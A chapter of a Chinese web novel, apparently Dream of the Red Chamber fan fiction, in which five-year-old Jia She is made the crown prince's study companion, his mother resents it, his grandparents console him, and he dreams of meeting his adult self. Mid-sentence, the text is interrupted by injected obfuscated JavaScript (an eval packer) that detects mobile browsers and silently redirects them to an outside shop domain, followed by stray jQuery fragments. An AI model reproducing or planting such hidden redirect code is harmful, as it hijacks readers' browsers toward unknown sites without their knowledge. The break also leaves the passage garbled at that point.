史氏怀中的贾政转动小脑袋,一双乌黑眼眸满是好奇,直直望着依偎在贾源身侧的贾赦。他知晓这是自己嫡亲兄长,只是平日里少见,故而格外生疏稀奇。

    彼时贾政尚且年幼无知,全然不懂,二人不过相差两岁,可与生俱来的身份际遇、府中偏爱、来日前程,早已是云泥之别。

    贾源抱着贾赦落座回椅,转头看向身侧徐氏,沉声开口问询:“夫人,今日入宫觐见诸事如何?赦哥儿在外可有哭闹失态?圣上最终定了,赦哥儿做哪位皇子的伴读?”

    闻言,贾代善与史氏连忙收敛心底纷乱杂念,端正身形,正襟危坐。

    徐氏轻叹了一口气,缓缓开口:“起初在皇后宫中一切安稳,待诸位皇子随圣上到来,赦哥儿一见太子殿下,便失声大哭,执拗不已。想来赦哥儿与太子或许是真有前世渊源罢。

    圣上虽心存疑虑,终究还是下旨定赦哥儿为东宫伴读,明日一早,便要入宫赴上书房进学。”

    贾源抬手轻抚贾赦细软发顶,语气带着纵容的嗔怪:“在外又不乖了。”

    贾赦抬眸看向自家祖父,抿唇羞涩一笑,乖乖依偎着,并未出声。

    贾源神色渐敛,沉声道:“太子殿下自幼天资卓绝,心性老成持重,朝野百官皆赞誉有加。赦哥儿跟着太子,是断然不会吃亏受委屈的。咱们荣国公府向来唯圣意是从,太子殿下是圣上钦定的储君,依附东宫本就是正道。至于往后如何——且行且看便是。”

    徐氏与贾代善心中都明白,这不过是贾源的宽慰之语。身在局中,岂是“静观其变”四个字就能脱身的?

    室内氛围一时沉敛肃穆,不料一声尖利惊呼骤然炸开,打破满室沉静。

    史氏脑中嗡的一声,脱口而出:“什么?圣上竟让贾赦做太子伴读!那我的政哥儿怎么办?!”

    赦哥儿是嫡长子,本就占了袭爵的名分,如今又成了太子伴读,日日陪在储君身边,将来太子登基,便是一等一的潜邸旧臣——到那时,政哥儿再是苦读、再是争气,科举入仕也不过是从底层一步步往上熬,怎比得上这条直通青云的路?

    怕是赦哥儿走得越远,政哥儿就越追不上。

    怀中年幼的贾政被这陡然拔高的声音一惊,小巧耳尖轻轻一颤,怯怯埋进母亲怀里。

    一旁贾赦听见有人念自己名字,小手依旧攥着贾源衣摆把玩,浑然不在意,头都未曾抬起分毫。

    徐氏眉心骤然紧蹙,看向身侧贾代善,语气冷厉斥道:“代善,管好你这蠢妇!入宫觐见事关朝局储势,深宫言语最是避嫌,这么多年,她依旧分不清何事能言、何事闭口!”

    随即她眸光落向史氏,声色威严凛然,厉声呵斥:“史氏!赦哥儿乃是你亲生长子,明日便要独自入宫伴君,步步惊心,你不为长子忧心安危,反倒计较小儿得失?你夫妇二人,心性怎会如此凉薄!

    再者,赦哥儿伴读东宫,是圣上赐予荣国公府嫡长孙的天恩殊荣,独属于赦哥儿一人,与政哥儿无关!你当众出言质疑,是心存忤逆,对圣上旨意不满吗?”

    史氏脸色一白,唇瓣紧抿,眼底依旧藏着不服与固执,毫无悔改之意。

    贾代善面露愧色,满心无奈,狠狠瞪了史氏一眼,连忙躬身垂首回话:“儿子绝不敢忤逆圣意。”

    史氏不敢违逆丈夫指令,低眉顺从应声:“是。”

    待气氛稍缓,徐氏看向身旁侍女,语气复归平和,带着几分暖意:“好在赦哥儿心性纯良,今日出府一趟,还记挂府中手足姊妹,特意置办了糖人礼物。”

    她抬眸看向大丫鬟霜华,轻声吩咐:“稍后将糖人给政哥儿、滢姐儿、汐姐儿、清姐儿各送一份去。”

    末了,徐氏淡淡睨了史氏一眼,语气疏离:“时辰不早了,你夫妇二人都退下吧。”

    厢房内只剩贾源与徐氏。

    怀中贾赦早已困意翻涌,小脑袋不住一点一点,身子软软晃悠,片刻后便一头歪靠在贾源肩头,小嘴无意识吧唧两下,软糯蹭了蹭衣襟,彻底倦怠下来。

    徐氏叹了一句:“这孩子,倒是个心大的。”

    贾源垂眸望着怀中酣然犯困的稚童,眼底盛满不加掩饰的温柔慈爱,半点无朝堂国公的凌厉威仪。

    他轻轻抚了抚孩子柔软的额发,语气低缓而笃定:“心大又有何妨?少些计较,便少些愁烦。该来的躲不过,得不到的也不必强求。他若能一辈子这样,倒是他的福气了。”

    徐氏攥紧了手中的帕子:“终归是我对不住赦哥儿……当初若不是我把赦哥儿从她身边抱走,她也不至于跟赦哥儿生分到如此地步,一颗心全偏到政哥儿身上去了。”

    贾源没有立刻接话,只伸手覆上徐氏攥着帕子的那只手,轻轻掰开她紧蜷的指头,将她冰凉的手指拢在掌心里捂了捂,半晌才开口:“事已至此,多想无益。”

    他低头看了看怀中熟睡的贾赦,那孩子不知梦见了什么,小嘴微微嘟了一下,贾源忍不住用拇指蹭了蹭他的脸颊,“换个想头,也许赦哥儿此番入东宫,反倒是件好事。你我终有故去的一天,到那时,赦哥儿再有委屈,也只能顶着‘孝’字生生咽下去。可如今他是太子伴读,来日太子殿下登基,便是天子近臣,忠孝节义,忠在孝前,自有君王替他撑腰,不必被‘孝道’二字所累。”

    他不愿交由下人触碰惊扰,亲自横抱起贾赦,缓步去往东侧卧房,小心翼翼将人安放床榻,掖好边角锦被,掌心轻拍后背柔声安抚。

    待贾赦呼吸匀净、沉沉睡熟,才唤来贾赦院内大丫鬟念夏,细细叮嘱她寸步不离、好生值守伺候,而后折返西厢房。

    二人落座,又说起明日入宫伴读一事。

    宣德帝体恤贾赦年仅五岁,若是每日晨昏往返荣府皇宫,车马奔波劳身耗神,有伤稚子体魄,特意降下恩旨,准许贾赦常住东宫,无需日日归府,只需每旬休沐一日,回府暂住。

    徐氏闻言心口阵阵发酸,满心不舍。

    自家孙儿年仅五岁,就要辞别家人长居深宫,伴储君读书,步步谨言慎行。此事看着是圣上隆恩、荣府荣光,可深宫人心复杂,纵是有太子撑腰,也终究是小小孩童吃苦受累。

    可恨史氏目光短浅,一心计较自家幼子得失,半点看不懂这份荣光背后的凶险不易。

    心念及此,徐氏不敢耽搁,当即唤来身侧丫鬟玉华,传令贾赦院里的梁嬷嬷,即刻着手打点行囊。

    既要备足四季换洗衣物、随身玩物配饰,还要分装足量碎银、金锭、珍

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695203|207982||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    珠细软,尽数带去宫内备用。深宫处处人情往来,金银珍珠皆是硬通货,多备财物,方能让贾赦不必受制于人,不受旁人磋磨委屈。

    贾源看着徐氏一心为孙操劳周全,忽而想起一物,当即吩咐贴身小厮孙粮,前去私库取一枚玉佩来,自己则转身重回东厢房卧房。

    这是一块极品和田墨玉,玉质温润厚重,形制小巧,最难得玉身天然肌理成型,浑然生出一枚狼头纹路,品相世间罕有。

    当年先帝带兵起义、征伐四方,北地征战之时,攻破游牧部落大汗王帐,此物便是彼时缴获的贴身至宝。

    玉佩以织十字结朱红绳穿系,十字寓意十全圆满,护佑平安顺遂;红绳下端,另坠一枚打磨光洁的狼牙。

    这枚狼牙来历深重,乃是先帝年少时初次独自进山猎杀头狼所得,那头狼四十二枚狼牙尽数被取下带回燕京珍藏。

    贾源受封为荣国公时,先帝将这墨玉狼佩、狼牙一并赐予贾源,既是军功嘉奖,更是先帝心腹、君臣相知相倚的无上凭证。

    多年来贾源极为珍视此物,亲手编绳串联,常年收于私人小书房,从不轻易示人。

    床榻上贾赦睡得安稳绵长,眉眼温顺无害。

    贾源放轻脚步走近,抬手将这枚承载战功与圣眷的墨玉狼佩,轻轻挂在贾赦颈间,抚平衣襟,确认玉佩贴衣稳妥,才悄声转身,缓步离房。

    殊不知卧榻之上,睡梦中的贾赦,心绪半点不得平静。

    若梦境有色彩,此方天地便是一片素白。

    苍山日暮四合,殿宇翠色沉敛,远山层林郁郁,薄雾如轻纱漫覆山林,光影朦胧,虚实相生,宛若世外幻境。

    雾色山前,五岁稚态的小贾赦,与年过四旬、历尽沧桑的大贾赦相对而立。

    “赦哥儿明日就要入宫,做太子哥哥的伴读了,你高兴吗?”小贾赦仰起小脸,眉眼澄澈,笑着望向身前之人。

    “高兴。”大贾赦扬唇应声,笑意浅浅浮在面上,眼底却藏着化不开的悲凉,似笑实悲。

    小贾赦望着他异样神色,心底无半分惊惧疏离。他心知,眼前之人便是长大之后的自己,本是同源,自然无所畏惧。

    只是心底暗自腹诽:长大后的自己,样貌神态,实在算不上好看。想着,他抬手下意识摸了摸自己稚嫩白净的小脸。

    大贾赦一眼看穿他游离跑偏的心思,无奈扯了扯唇角,满心无言。

    念及方才厢房之内,史氏偏心失态、出言凉薄的模样,还有方才小贾赦全然不在意的模样,大贾赦敛去杂念,开口轻声发问,打断他的思绪:“方才母亲那般言语,你心里,不难过吗?”

    “不难过呀。”小贾赦歪了歪小脑袋,满眼懵懂疑惑,不解他为何这般发问,语气坦然纯粹。

    大贾赦身形微僵,满目震愕,下一瞬好似骤然勘破宿命心结,面色一瞬褪尽血色,惨白如纸。他垂眸喃喃自语,语声沙哑落寞:“原来是这样……原来幼时的我,本就不曾在意过她。原来从来都是我,越活越偏执,越活越回去了。”

    “你在说什么,赦哥儿听不到!”

    小贾赦尚且通透懵懂,全然共情不了大贾赦心底蚀骨无助,反倒皱起小脸,带了几分孩子气的气愤不耐。